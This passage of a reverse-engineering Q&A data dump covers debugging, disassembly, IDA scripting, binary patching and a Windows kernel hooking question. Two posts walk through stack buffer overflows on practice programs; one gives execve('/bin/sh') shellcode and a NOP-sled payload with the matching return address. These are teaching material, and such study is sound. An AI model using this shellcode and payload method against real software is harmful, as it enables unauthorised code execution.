(the ints might as well be pointers, can't tell this from your snippets, and the \"some string\" might be a pointer to a pre-initialized structure)

\n\n

These functions have the normal ABI, which means they pass all arguments on the stack, while quotearg_n_options receives the first three of its arguments in registers, and only the last one on the stack. This might be due to a modifier in the function's prototype, and it might also be due to the function being declared static, so the compiler knows it can't be called from outside the current source file so it's safe to change it's ABI.

\n\n

Now, from quotearg to quotearg_n, the number of parameters on the stack increases, so the compiler needs to make room for them, initializes them, calls the subroutine, and returns.

\n\n

From quotearg_n to quotearg_n_options, the number of parameters increases again (from 2 to 4), but since three parameters are passed in registers eax, edx and ecx, only the string has to be on the stack. Which means the number of parameter on the stack decreases, so the call needs less stack space, which allows the compiler to recycle the current stack. So what the compiler does is something called tail call elimination: instead of calling the function, then returning, it sets up the stack in the way the callee expects it, then jumps to it instead of using a call. That function (quotearg_n_options) will execute, and when it returns, it will directly return to the function that called quotearg_n, the original one.

\n\n

So to answer your question: The compiler uses the tail call elimination optimization, which it can do only if the number of parameters on the stack of the called function is lower than the number of parameters on the stack of the caller.

\n" }, { "Id": "10950", "CreationDate": "2015-09-25T02:46:05.133", "Body": "

How to deobfuscate javascript file, i have a javascript code are deobfuscate .

\n\n
\n\n

Code: http://pastebin.com/zFH2GidN\nHelp me and thanks you.

\n", "Title": "How to deobfuscated javascript?", "Tags": "|obfuscation|javascript|", "Answer": "

UPDATE

\n\n

Based on @ws's comment and @nderscore's code, use this JSFiddle to decode the thing.

\n\n
\n\n

To find the password that this script asks for, you can use a simple debugging trick.

\n\n\n\n

You'll see:

\n\n

\"enter

\n\n

It seems to be calling prompt(), so put a breakpoint on it, like this:

\n\n

(I'll be using Chrome for this)

\n\n\n\n

\"enter

\n\n\n\n

\"enter

\n\n

Bingo!

\n\n

Password is forevermore:

\n\n

\"enter\n\"enter

\n" }, { "Id": "10957", "CreationDate": "2015-09-25T12:38:34.417", "Body": "

I think that this is a basic need of every reverser so this question may have been asked in other places but really, I'm unable to find an answer. Maybe I'm asking the wrong question.

\n\n

So, supposing I have a DLL that change base VA among different execution because of ASLR, in windows I can set DLLCharacteristic to make sure is loaded every time at the same address (losing eventually the signature). But what for generic code?

\n\n

Suppose that a program allocate a buffer, copy some data, decrypt it then run it. In IDA, of course I can take a snapshot of memory, analyze it, put label and so on, but if I run the program the second time chances are the address are changed, so I can't benefit of my previous analysis.

\n\n

Is there a way map an arbiratry address with a previous analyzed section in the database?

\n", "Title": "How to deal with code that change its address among different execution", "Tags": "|ida|windows|packers|", "Answer": "

To map your section to another address use Edit -> Segments and than Move current segment in IDA, you can even rebase the whole program in this menu.

\n\n

I hope I have understood your question. Sorry if not :)

\n" }, { "Id": "10963", "CreationDate": "2015-09-25T20:50:39.723", "Body": "

The IDA Pro Python function ScreenEA() will return the address the cursor is at and if I manually position the cursor at the start, it will return the first valid address.

\n\n

However, I would like to be able to position my cursor anywhere and be able to ask for what the first valid address is. What function will return that information?

\n", "Title": "IDA Pro: function to return first valid address", "Tags": "|ida|idapython|", "Answer": "

You'd want to use MinEA(), which is equivalent to GetLongPrm(INF_MIN_EA).

\n\n

From IDA's documentation:

\n\n
INF_MIN_EA      // int32; The lowest address used\n                //        in the program\n
\n" }, { "Id": "10971", "CreationDate": "2015-09-26T16:24:13.570", "Body": "

What is the format for .so native android files developed in Xamarin Mono droid? From this SO post it appears they are actually .NET IL binaries (not native machine code). However, this other SO post on Android NDK development appears to contradict this. In the apk file, there is a lib/armebi folder and a lib/x86 folder. Is it possible for .NET to be compiled to ARM format? If that is possible, it appears that x86 based .NET decompilers like ILSpy cannot handle ARM code too. Is there a better solution?

\n\n

EDIT: I know Hopper and IDA Pro works with ARM mode, but we get assembly instead of .NET code.

\n", "Title": "Opening mono droid .so files in .NET decompiler", "Tags": "|disassembly|decompilation|arm|android|.net|", "Answer": "

If you're looking at a \"normal\" mono droid application (compiled with something like Xamarin) then you'll see some of these structures in the APK/ZIP'

\n\n
/assemblies/Sikur.Monodroid.dll\n/assemblies/Sikur.dll\n/assemblies/Xamarin.Android.Support.v13.dll\n/assemblies/Xamarin.Android.Support.v4.dll\n/assemblies/Xamarin.Android.Support.v7.AppCompat.dll\n/assemblies/Xamarin.Android.Support.v7.CardView.dll\n/assemblies/Xamarin.Android.Support.v7.RecyclerView.dll\n/assemblies/Xamarin.Mobile.dll\n/assemblies/mscorlib.dll\n/classes.dex\n/lib\n/lib/armeabi-v7a\n/lib/armeabi-v7a/libmonodroid.so\n/lib/armeabi-v7a/libmonosgen-2.0.so\n
\n\n

File in the assemblies directory will be the Mono/.Net code and can be reversed using those normal tools.

\n\n

classes.dex is a normal Android Dalvik executable file (dex) which can be reversed using the usual tools (baksmali, IDA Pro, etc) - though it should just be the stub loaded to start the Mono engine.

\n\n

The files includes in lib/**/*.so are native shared libraries which are compiled into an ELF ARM file. These are normally going to the the monodroid engine (libmonodroid.so) and potentially other plugins that have been used by the developer. These would require ELF ARM capable disassemblers like Hopper, IDA Pro, r2, etc.

\n\n

In the specific example above, the only non-Xamarin code would be located in Sikur.dll and Sikur.Monodroid.dll.

\n" }, { "Id": "10972", "CreationDate": "2015-09-26T17:37:40.830", "Body": "

I'd like to know why we have to put the shellcode before the return address in a buffer overflow. Logically the return address will point to the shellcode and will be executed. So, the return address should be put before the shellcode.

\n\n

I read about it here : buffer overflow exploits - Why is the shellcode put before the return address.

\n\n

But, I didn't really understand. Can someone explain me.

\n", "Title": "Why do we have to put shellcode before return address", "Tags": "|shellcode|", "Answer": "

You can put your shellcode wherever you want. It's usually below the return address in textbook stack overflow, because it causes your total payload to be smaller.

\n\n

Small illustration: you're overflowing a 256 bytes buffer on the stack. Your payload would look like this in classical overflow:

\n\n

NOP * (256 - len(shellcode)) + shellcode + padding + returnaddress

\n\n

If you put the payload after:

\n\n

padding * 256 + padding + returnaddress + nop * (as much as needed) + shellcode.

\n\n

Pro: you can sometimes add much more space for your nops or bigger shellcode. If you're doing ROP you'll need to use that space after the return address anyway.

\n\n

Cons: your payload is bigger and may not fit in your buffer.

\n" }, { "Id": "10981", "CreationDate": "2015-09-28T16:35:09.530", "Body": "

Hi i want to hook the KiFastCallEntry function from my Windows Driver , but i dont know how to get the addrres of this function , can someone pls tell me how?

\n\n

Target OS is Windows 7 32 bit

\n", "Title": "How to get the address of KiFastCallEntry from windows wdm driver", "Tags": "|windows|c|", "Answer": "

__readmsr(IA32_SYSENTER_EIP )

\n" }, { "Id": "10983", "CreationDate": "2015-09-28T17:23:36.043", "Body": "

i want to see all graphics functions from the win32k!W32pServiceTable function pointer Array but it only returns \"????\"

\n\n
kd> dps nt!KeServiceDescriptorTableShadow L8\n8298f980  8288b73c nt!KiServiceTable\n8298f984  00000000\n8298f988  00000191\n8298f98c  8288bd84 nt!KiArgumentTable\n8298f990  82376000 win32k!W32pServiceTable\n8298f994  00000000\n8298f998  00000339\n8298f99c  8237702c win32k!W32pArgumentTable\n\nkd> dps win32k!W32pServiceTable\n82376000  ????????\n82376004  ????????\n82376008  ????????\n8237600c  ????????\n82376010  ????????\n82376014  ????????\n82376018  ????????\n8237601c  ????????\n82376020  ????????\n82376024  ????????\n82376028  ????????\n8237602c  ????????\n82376030  ????????\n82376034  ????????\n82376038  ????????\n8237603c  ????????\n82376040  ????????\n82376044  ????????\n82376048  ????????\n8237604c  ????????\n82376050  ????????\n82376054  ????????\n82376058  ????????\n8237605c  ????????\n82376060  ????????\n82376064  ????????\n82376068  ????????\n8237606c  ????????\n82376070  ????????\n82376074  ????????\n82376078  ????????\n8237607c  ????????\n
\n\n

Target OS is Windows 7 32 bit

\n", "Title": "dps win32k!W32pServiceTable windbg command returning \"????\"", "Tags": "|windows|windbg|", "Answer": "

From http://www.osronline.com/showthread.cfm?link=165166#T2:

\n\n
\n

When looking at session space you need to switch to a process from the\n appropriate session. If you just want to disassemble win32k code, any\n interactive process will do (e.g. explorer.exe):

\n \n

!process 0 0 explorer.exe

\n \n

.process /P <EPROCESS>

\n
\n" }, { "Id": "10986", "CreationDate": "2015-09-28T21:39:35.763", "Body": "

I have just started teaching myself IDA and I have had some trouble with an array of structs.

\n\n

I have found and defined a struct similar to this: (simplified)

\n\n
struct {\nchar filename[50];\nint field2;\nint field3;\n}\n
\n\n

I then found an array of these.

\n\n

So I defined the struct, and then the array.

\n\n

Before I defined them, the filename showed as a comment wherever it was referenced in the code.

\n\n

Now however, it only references the first element of the array and an offset.\nSo now looking through the code, I don't have comments with the file being referenced, which makes it hard to tell what file the code is working on.

\n\n

Is there a way for me to keep the array of structs and the comments, or do I need to undefine the array & struct to get the comment with filename back?

\n\n

EDIT:\nI forgot to add, the filenames also no longer show up in the strings window after I created the array of structs

\n\n

EDIT 2:\nHere is my struct definition

\n\n
000000 file_data_struct_t struc ; (sizeof=0x4F)\n00000000 base_file_path  db 18 dup(?)            ; string(C)\n00000012 unknown         db 44 dup(?)\n0000003E loaded_data_ptr dd ?                    ; offset\n00000042 ptr2            dd ?                    ; offset\n00000046 file_length     db ?\n00000047 unknown3        db ?\n00000048 unknown4        db ?\n00000049 unknown5        db ?\n0000004A use_2nd_func    db 4 dup(?)\n0000004E flag            db ?\n0000004F file_data_struct_t end\n
\n\n

This is for the game Theme Park

\n", "Title": "IDA Array of structs hiding strings", "Tags": "|ida|struct|array|", "Answer": "

Press * and uncheck 'Create as array'. This will convert the array into separate structs, and you'll see the strings again.

\n" }, { "Id": "10997", "CreationDate": "2015-09-30T12:36:05.680", "Body": "

As I understand, the BIOS code/bitstream that held in the ROM should be generic (work alongside with multiple CPU types or ISAs). In addition, I saw mentions in the web that claim to have the possibility to dump it's code (and to 'disassemble' it).

\n\n

So, in which language, instruction set or machine code is it written? Doesn't it need any kind of processor to perform its operations? If so I guess that it will use the external CPU, then how does it knows the specific instruction set of the employed one?

\n\n

Maybe it has an internal processor?

\n", "Title": "In which language is the BIOS written?", "Tags": "|disassembly|dumping|bios|", "Answer": "

As complementary answer, BIOS used to be written in assembler (now is mostly ANSI C code) which compiles to

\n\n

a) Machine code for old architectures (in the past, like PC IBM; which was actually written in assembler according to https://sites.google.com/site/pcdosretro/ibmpcbios and an old book from Gottfried in Assembler for PC IBM).

\n\n

b) UEFI bytecode for EFI currently (BIOS replacement).

\n\n

As evidence, have a look at https://en.wikipedia.org/wiki/Coreboot & http://review.coreboot.org/gitweb?p=coreboot.git;a=tree

\n\n

(Notice there are several other open source efforts on BIOS/EFI replacements).

\n\n

UEFI Is an spec of a framework with several several layers, exposing among other things services, a shell console and an interpreter layer (for EFI byte code), the idea of abstracting \"BIOS\" away from machine code was to facilitate portability to other non x86 architectures (Itanium, ARM, etc)

\n\n

This is a good conceptual introduction on UEFI http://www.amazon.com/Beyond-Bios-Implementing-Extensible-Interface/dp/0974364908/ref=sr_1_2?ie=UTF8&qid=1452724127&sr=8-2&keywords=efi+bios

\n\n

PS. In one company I used to work, I actually had access to the BIOS/EFI code base.

\n" }, { "Id": "11002", "CreationDate": "2015-09-30T16:28:47.430", "Body": "

I have an executable file I put together from an demo powerpc assembly program I whipped together.

\n\n

AssemblyProgram.s

\n\n
.global _Start\n\n.text\n_Start:\n    addi 3, 0, 0xa\n    addi 4, 0, 0xb\n    addi 5, 0, 0xc\n    b .\n
\n\n

All it does is load hex a, b, c into registers 3, 4, and 5. When I go to step through it in GDB, I am trying now to set a breakpoint on the instruction b . which is located at address 0x1000012 due to the linker script placement of the instructions.

\n\n

I can set the breakpoint no problem, but when try to continue I get an error. My example session is shown below:

\n\n
(gdb) target sim\nConnected to the simulator.\n(gdb) load assem-ABCRegs-ppceabi-ex.elf \n(gdb) x /4i 0x1000000\n0x1000000 <_Start>: li      r3,10\n0x1000004 <_Start+4>:   li      r4,11\n0x1000008 <_Start+8>:   li      r5,12\n0x100000c <_Start+12>:  b       0x100000c <_Start+12>\n(gdb) b *0x1000000\nBreakpoint 1 at 0x1000000\n(gdb) run\nStarting program: /home/default/PPC-Baremetal-Base/assem-ABCRegs-ppceabi-ex.elf \n\nBreakpoint 1, 0x01000000 in _Start ()\n(gdb) si\n0x01000004 in _Start ()\n(gdb) b *0x1000012\nBreakpoint 2 at 0x1000012\n(gdb) c\nContinuing.\nWarning:\nCannot insert breakpoint 2.\nCannot access memory at address 0x1000012\n\n(gdb) si\nWarning:\nCannot insert breakpoint 2.\nCannot access memory at address 0x1000012\n\n(gdb) d 2\n(gdb) si\n0x01000008 in _Start ()\n(gdb) si\n0x0100000c in _Start ()\n(gdb) \n
\n\n

This is a trivial program, but it is just a learning program. I want to be able to set a breakpoint on a real program and continue (not step) through the execution until my breakpoint is hit if ever. Is this possible if I am not able to recompile?

\n\n

EDIT:

\n\n

The above test run tries to set a breakpoint at the wrong locations (in the middle of an instruction. Below is a proper run.

\n\n
(gdb) target sim\nConnected to the simulator.\n(gdb) load assem-ABCRegs-ppceabi-ex.elf\n(gdb) b *0x1000008\nBreakpoint 1 at 0x1000008\n(gdb) c\nStarting program: /home/default/PPC-Baremetal-Base/assem-ABCRegs-ppceabi-ex.elf \n\n0x1000000 in _Start ()\n
\n", "Title": "How To Set Breakpoints On An Assembly Program Not Compiled With Debugging Symbols?", "Tags": "|assembly|gdb|", "Answer": "

Yes, you are able to debug programs without sources with gdb. You don;t need to recompile.

\n\n

The potential problem source is in miscalculation of breakpoint address:\naddress of your branch instruction is 0x100000c and not 0x1000012.\nThis may explain why you can not set a breakpoint: there is no any instruction in a place where you are trying to put a breakpoint.

\n" }, { "Id": "11007", "CreationDate": "2015-10-01T10:54:54.717", "Body": "

Im trying to understand the execution flow from user32.UnregisterUserApiHook to the belonged System call : NtUserUnregisterUserApiHook if i am right.

\n\n

Currently i cant use Windbg (kernel debugger) to step through every call to see where i get.\nSo i try to use IDA .

\n\n

I have tryed the following things (with IDA):

\n\n
    Locate KiFastCallEntry in ntoskrnl.exe : not found\n    Locate NtUserUnregisterUserApiHook in win32k.sys : not found\n
\n\n

Question: how to get these functions listed here displayed in to IDA ?

\n\n

Target OS is Windows 7 32 bit

\n", "Title": "How locate (NtUserUnregisterUserApiHook) function in win32k.sys with IDA", "Tags": "|ida|windows|system-call|", "Answer": "
C:\\>md win32k\nC:\\>cd win32k\nC:\\win32k>copy c:\\WINDOWS\\system32\\win32k.sys .\n        1 file(s) copied.\nC:\\win32k>\"c:\\Program Files\\IDA Free\\idag.exe\" -B -A win32k.sys\n
\n\n

wait till *.idb and *.asm is produced in the directory

\n\n
C:\\win32k>echo :redo >wait.bat\nC:\\win32k>echo if not exist *.idb (sleep 30 ^& goto :redo) >> wait.bat\nC:\\win32k>wait.bat\nC:\\win32k>if not exist *.idb (sleep 50   & goto :redo )\nC:\\win32k>\n
\n\n

search for the api in the generated asm file or reopen the idb in ida

\n\n
C:\\win32k>grep -i ntuserregisteruserapihook win32k.asm\n; __stdcall NtUserRegisterUserApiHook(x, x)\n_NtUserRegisterUserApiHook@8 proc near  ; DATA XREF: .data:BF99B3A4\u2193o\n_NtUserRegisterUserApiHook@8 endp\n__RegisterUserApiHook@8 proc near       ; CODE XREF: NtUserRegisterUserApiHook(x\n,x)+11\u2191p\n                dd offset _NtUserRegisterUserApiHook@8 ; NtUserRegisterUserApiHo\nok(x,x)\n\nC:\\win32k> \n
\n" }, { "Id": "11015", "CreationDate": "2015-10-03T17:21:45.270", "Body": "

Is it possible to retrieve .dfm file from a delphi executable. I have inherited Acrobyte projects(Indy Pity Crew) so before I reactivate the website(www.acrobyte.cf) every product must be in order. I have updated others except the three left. So since I have a software that converts .dfm to .pas I can update them. I have seen the software that extracts DFM data from a delphi executable, in form of .rc and .dat but I never been able to add a function that extract the whole DFM file.

\n\n

How can I extract the whole dfm file of an executable e.g( pet.exe to pet.dfm)?

\n\n

In other ways I would like to convert rc file to dfm.

\n\n

Thanks in advance

\n", "Title": "How to extract .dfm file from a delphi executable?", "Tags": "|delphi|", "Answer": "

Interactive Delphi Reconstructor can save text representation of form. Simply click right button on text representation and copy it to clipboard. Also You can try to save file as Delphi Project for all dfm-files in project.

\n" }, { "Id": "11020", "CreationDate": "2015-10-04T15:21:58.523", "Body": "

I understand the principles of exploiting a classical stack-based buffer-overflow, and now I want to practice it. Therefore I wrote the following test-application:

\n\n
#include <stdio.h>\n#include <string.h>\n#include <unistd.h>\n\nvoid public(char *args) {\n    char buff[12];\n    memset(buff, 'B', sizeof(buff));\n\n    strcpy(buff, args);\n    printf(\"\\nbuff: [%s] (%p)(%d)\\n\\n\", &buff, buff, sizeof(buff));\n}\n\nvoid secret(void) {\n    printf(\"SECRET\\n\");\n    exit(0);\n}\n\nint main(int argc, char *argv[]) {\n    int uid;\n    uid = getuid();\n\n    // Only when the user is root\n    if (uid == 0)\n        secret();\n\n    if (argc > 1) {\n        public(argv[1]);\n    }\n    else\n        printf(\"Kein Argument!\\n\");\n}\n
\n\n

When the user which starts the program is root, the method secret() is being called, otherwise, the method public(...) is being called.\nI am using debian-gnome x64, so I had to compile it specifically to x86 to get x86-assembly (which I know better than x64).\nI compiled the program with gcc: gcc ret.c -o ret -m32 -g -fno-stack-protector

\n\n
\n\n

Target:\nI want to call the method secret() without being a root-user. {To do that I have to overwrite the Return Instruction Pointer (RIP) with the address of the function secret()}

\n\n

Vulnerability:\nThe method public(...) copies the program-args with the unsafe strcpy() method into the char-array buff. So it is possible to overwrite data on the stack, when the user starts the program with an arg > 11, where arg should be the length of the string-arg.

\n\n

Required Information:

\n\n\n\n

Methodical approach:

\n\n\n\n

This means that I would have to run the program with 0xffffd2ec - 0xffffd2d4 + 0x04 = 28 bytes (= chars).

\n\n

So, to exploit it I'd have to run the program with an arg which is 28 bytes long whereas the last 4 bytes contain the address of the function secret() (and pay attention to little-endian-ordering):

\n\n
(gdb) run `perl -e '{print \"A\"x24; print \"\\xec\\d2\\ff\\ff\"; }'`\nThe program being debugged has been started already.\nStart it from the beginning? (y or n) y\n\nStarting program: /home/patrick/Projekte/C/I. Stack_Overflow/ret `perl -e '{print \"A\"x24; print \"\\xec\\d2\\ff\\ff\"; }'`\n\nbuff: [AAAAAAAAAAAAAAAAAAAAAAAA\ufffdd2\n                                  f\n                                   f] (0xffffd2b4)(12)\n\n\nProgram received signal SIGSEGV, Segmentation fault.\n0x0c3264ec in ?? ()\n
\n\n

Two questions are rising up:

\n\n\n\n

EDIT: That's a download-link to the binary.

\n", "Title": "Writing an exploit for sample-application", "Tags": "|c++|gdb|c|exploit|stack|", "Answer": "
\n \n
\n\n

It's because you're overwriting the return address on the stack with 0xffffd2ec instead of 0x0804852f (the latter is the address for secret()).

\n\n

If you thus use '{print \"A\"x24; print \"\\x2f\\85\\04\\08\"; }' instead, it should work.

\n\n
\n \n
\n\n

That gap is probably because of attempted optimizations made by gcc. The memory-area contains nothing (well, technically it contains 8 bytes whose values are indeterminate) and the code in the public() function neither reads from nor writes to that memory-area.

\n" }, { "Id": "11022", "CreationDate": "2015-10-04T18:33:30.607", "Body": "
 005A45A6 > \\83FE 50 CMP ESI,50 ; Switch (cases 0..50) \n 005A45A9 0F87 79150000 JA AcroByte.005A5B28 \n 005A45AF . FF24B5 B6455A00 JMP DWORD PTR DS:[ESI*4+5A45B6]; AcroByte.005A46FA \n005A45B6 . FA465A00 DD AcroByte.005A46FA; Switch table used at 005A45AF \n 005A45BA . 51475A00 DD AcroByte.005A4751 \n 005A45BE . 7C475A00 DD      AcroByte.005A477C \n 005A45C2 . 8B475A00 DD AcroByte.005A478B \n 005A45C6 . 9A475A00 DD AcroByte.005A479A \n 005A45CA . A9475A00 DD AcroByte.005A47A9 \n 005A45CE . D4475A00 DD AcroByte.005A47D4 \n 005A45D2 . ED475A00 DD AcroByte.005A47ED \n 005A45D6 . 06485A00 DD AcroByte.005A4806 \n 005A45DA . 4B485A00 DD AcroByte.005A484B \n 005A45DE . E8485A00 DD AcroByte.005A48E8 \n 005A45E2 . 3A495A00 DD AcroByte.005A493A \n 005A45E6 . 8E495A00 DD AcroByte.005A498E \n 005A45EA . 9A495A00 DD AcroByte.005A499A \n 005A45EE . E1495A00 DD AcroByte.005A49E1 \n 005A45F2 . 174A5A00 DD AcroByte.005A4A17 \n 005A45F6 . 594A5A00 DD AcroByte.005A4A59 \n 005A45FA . A34A5A00 DD AcroByte.005A4AA3 \n
\n\n

I need help on the above code, the JUMP at address 005A45AF is associated with 005A46FA.\nI want it to be associated to 005A4AA3.

\n\n

My question is can I modify DS:[ESI*4+5A45B6] to [ESI*4+5A4AA3] or the (4 between ESI and Address) also needs to be changed.

\n\n

I really want to jump to 005A4AA3.

\n\n

Please help it's memory not hardware I am patching

\n", "Title": "How to modify Data Section of an exe(DD x000455)?", "Tags": "|memory|patch-reversing|", "Answer": "
\n

I really want to jump to 005A4AA3.

\n
\n\n

Patch the bytes at virtual address 005A45AF from FF 24 B5 B6 45 5A 00 to E9 EF 04 00 00 90 90.

\n\n
\n

My question is can I modify DS:[ESI*4+5A45B6] to [ESI*4+5A4AA3]

\n
\n\n

Yes, in which case you'd want to patch the bytes at virtual address 005A45AF from FF 24 B5 B6 45 5A 00 to FF 24 B5 A3 4A 5A 00.

\n" }, { "Id": "11033", "CreationDate": "2015-10-06T00:35:43.403", "Body": "

I've a binary data files which are encrypted by a simple XOR cipher using a given key at offset +0x88 (which is 0x80 long), then the data (+0x108) is compressed by lzo1x.

\n\n

What would be the most efficient way of decrypting such files?

\n\n

Preferably by using some command-line utilities (where I can specify the input offsets) or some script (without too much coding)?

\n\n

What would be the right approach?

\n", "Title": "How to decrypt data in binary file by XOR operator using a given key at specific offset?", "Tags": "|linux|decryption|decompress|xor|command-line|", "Answer": "

Use dd to extract the data what you need, e.g. (using bash syntax):

\n\n
dd if=foo.dat bs=1 skip=$((0x88)) count=$((0x80)) of=xorkey.bin\ndd if=foo.dat bs=1 skip=$((0x108)) of=data1.bin\n
\n\n

Then convert it using simple Python code:

\n\n
#!/usr/bin/env python3\n\ndef str_xor(data, key):\n    for i in range(len(data)):\n        data[i] ^= key[i % len(key)]\n    return data\n\nkey  = bytearray(open('xorkey.bin', 'rb').read())\ndata = bytearray(open('data1.bin',  'rb').read())\nencoded = str_xor(data, key)\nopen(\"data1.bin.xor\", \"wb\").write(encoded)\ndecoded = str_xor(data, key)\nopen(\"data1.bin.xor.xor\", \"wb\").write(decoded)\n
\n\n

Then install lzop tool which offers compression/decompression of the LZO1X algorithms (install via: apt-get/brew install lzop), e.g.:

\n\n
lzop -dc data1.bin.xor > data1.out\n
\n" }, { "Id": "11042", "CreationDate": "2015-10-06T16:14:30.410", "Body": "

I am trying to get a shellcode, exploiting a C program with a strcpy() function.

\n\n

I have found out that I need 68 bytes to start writing on the EIP. So, if I write 72's by EIP register is 0x41414141.

\n\n

What I want is to insert a 23 bytes shellcode for a x86 OS. So I know that I need this:

\n\n\n\n

I don't know how to carry this out. This is my program:

\n\n
#include <stdio.h>\n#include <string.h>\n\nvoid cambiarEIP() {\n    printf(\"\\n Has cambiado el valor del EIP, enhorabuena\\n\");\n}\n\nint main(int argc, char * argv[]) {\n    char buf[64];\n\n    if(argc == 1) {\n        printf(\"Uso: %s entrada\\n\", argv[0]);\n        return -1;\n    }\n\n    strcpy(buf,argv[1]);\n    printf(\"%s\\n\", buf);\n\n    return 0;\n}\n
\n\n

I want to insert this as a parameter: 45As+shellcode+EIP DIR.

\n\n

This is what I get with the GDB when passing 71 bytes as a parameter:

\n\n
 Program received signal SIGSEGV, Segmentation fault.\n 0x00414141 in ?? ()\n
\n\n

And those are my registers:

\n\n
(gdb) i r\neax            0x0  0\necx            0xb7fbc4e0   -1208236832\nedx            0xb7fbd360   -1208233120\nebx            0xb7fbbff4   -1208238092\nesp            0xbffff4a0   0xbffff4a0\nebp            0x41414141   0x41414141\nesi            0x0  0\nedi            0x0  0\neip            0x414141 0x414141\neflags         0x10246  [ PF ZF IF RF ]\ncs             0x73 115\nss             0x7b 123\nds             0x7b 123\nes             0x7b 123\nfs             0x0  0\ngs             0x33 51\n
\n\n

I know that I need something like this:

\n\n
./shell \\x41\\*45 + \"\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\"\n          \"\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80\" + Shellcode location\n
\n\n

How to carry this out?

\n", "Title": "Strcpy BufferOverflow get shellcode location for EIP", "Tags": "|assembly|gdb|shellcode|register|", "Answer": "
\n

68 A bytes - 23 shellcode bytes: 45 NOPs.

\n
\n

NOP is the mnemonic that stands for No OPeration which is the byte \\x90, meaning that you'll have to change the A's (\\x41) for NOPs (\\x90), because \\x41 by itself it's not a valid ASM instruction in the x86 processor hence making your program crash.

\n

Taking this into account, first part goes like:

\n
python -c 'print "\\x90"*45' > payload.bin\n
\n
\n

23 bytes Shellcode

\n
\n

This is self explanatory, just add your shellcode:

\n
python -c 'print "\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80"' >> payload.bin\n
\n
\n

4 bytes for the EIP register, pointing the start of the shellcode.

\n
\n

Here's the tricky part:

\n

First ask yourself a few questions:

\n
    \n
  1. Does the system have ASLR enabled?
    2. \n
  2. Does it have DEP enabled?
    3. \n
  3. NX?
    4. \n
\n

Read this if the answer is that you don't know

\n

And if the answer to both of these is no then, continue to check into gdb the following

\n
    \n
  1. Set a breakpoint at program's entry point in gdb
    2. \n
  2. Step in gdb until you get to the call to strcpy (id est, when the overflow happens)
    3. \n
  3. Get the location of your buf variable in stack. We can do so by writing the next command in gdb since the Stack Pointer is pointing right at the beginning of buf\n\n
    4. \n
\n

Now that you have the location of your buf variable, which should be something in the form 0xbffff5f0. Now get that memory position and add it to the end of your payload. You need this position in order to jump to the location of your buf variable and execute the shellcode in it...

\n

But hold on!

\n

You still have to take endianness into account, which in your system is little endian.

\n

So you'll need to write that memory position in little endian which, if you are lazy like me, you'll end up writing a script that makes it for you:

\n

python pyndianizer.py 0xbffff5f0 ==> \\xf0\\xf5\\xff\\xbf

\n

Now, add it to your payload\npython -c 'print "\\xf0\\xf5\\xff\\xbf"' >> payload.bin

\n

And for the grand finale:

\n

cat payload.bin | ./shell

\n

If everything was done well, just press a few enters and you'll have your shell.

\n

Final note

\n

Your shellcode runs /bin/sh but just running it doesn't work sometimes because the program ends just after running your shellcode. If so, you'll have to make it wait for user input after cating the shellcode in

\n" }, { "Id": "11044", "CreationDate": "2015-10-06T18:06:52.613", "Body": "

I'm trying to automate disassembly of a firmware image using IDA Pro 6.5 and IDA Python. One of the process I want to implement is to locate strings and create a data segment around them.

\n

Using the GUI, I have little issue doing so. However when using the idautils.Strings() API call, I can retrieve a list of StringItem objects, but I fail to access the actual string data with str() or unicode(). Below is the failing function, which is taken from IDA Python Google Code archive:

\n
def find_strings():\n    s = idautils.Strings(False)\n    s.setup(strtypes=Strings.STR_UNICODE | Strings.STR_C)\n    for i, v in enumerate(s):\n        if v is None:\n            print("Failed to retrieve string index %d" % i)\n        else:\n            print("%x: len=%d type=%d index=%d-> '%s'" % (v.ea, v.length, v.type, i, str(v)))\n
\n

When ran into IDA, the following error is reported:

\n
Traceback (most recent call last):\n  File "<string>", line 1, in <module>\n  File "<string>", line 8, in find_strings\nTypeError: 'StringItem' object is not callable\n
\n

When replacing the str(v) argument with the constant aaa in the print function, I get a list of StringItem objects without any problem:

\n
Python>find_strings()\n208e: len=8 type=3 index=0-> 'aaa'\n21b0: len=55 type=0 index=1-> 'aaa'\n229d: len=6 type=0 index=2-> 'aaa'\n22c5: len=5 type=0 index=3-> 'aaa'\n22d3: len=33 type=0 index=4-> 'aaa'\n...\n
\n

If I attempt to use the unicode() function instead, I get the following error:

\n
Python>find_strings()\n208e: len=8 type=3 index=0-> '\nTraceback (most recent call last):\n  File "<string>", line 1, in <module>\n  File "<string>", line 8, in find_strings\nTypeError: coercing to Unicode: need string or buffer, NoneType found\n
\n

From my understanding, it seems that the StringItem contains no strings for an unknown reason (or an issue with the plugin, specific version of Python maybe?), however they are displayed in the GUI.

\n

I'm seeking advice on either what I'm doing wrong, or an alternative way to extract the strings using the IDApython plugin. Thanks

\n

Updates

\n

The code above appears valid after adding the missing parenthesis as mentioned in the comments. However this was only a typo in the post and not the source of the issue. The find_strings worked fine in other typical binaries. Further proof is that by using the idc.GetString(self.ea, self.length, self.type) also returned NoneType.

\n

Diff mentioned that the get_ascii_contents2 is failing and thus returning null, which is very likely the cause. What is unclear is why the function is failing, while the GUI succeeds in locating most of the strings.

\n

The first string at 0x208E is a trash Unicode string. The string at 0x21B0 is an actual ASCII string composed of 37 chars. I cannot post the complete string due to disclosure/legal issues. Notice that when displayed in the hex editor, the byte order of the ASCII view is inverted for an unknown reason. The bitness of the overall firmware is 16bit.

\n

434F 5059 5249 4748 5420 A920 ... 4544 2000 0000 : OCYPIRHG T \u00ac ... DE.

\n

Finally, note that the function MakeStr works without any issue. I have the following code, when used at 0x21B0, will successfully create a string within a data segment:

\n
def create_string(self, _startea, _endea, _segname=".const", _unicode=False):\n        \n        if (SegStart(_startea) == idc.BADADDR):\n            self.create_data_segment(_startea, _endea, ".const")\n        else:\n            segtype = GetSegmentAttr(_startea, SEGATTR_TYPE)\n            if (segtype != IDAEngine.SEG_TYPE_DATA):\n                DelSeg(_startea, 0)\n                self.create_data_segment(_startea, _endea, _segname)\n        \n        result = MakeStr(_startea, _endea)\n        if (result == IDAEngine.FAIL):\n            print "[-] Failed to create a string at 0x{:x} to 0x{:x}.".format(_startea, _endea)\n
\n

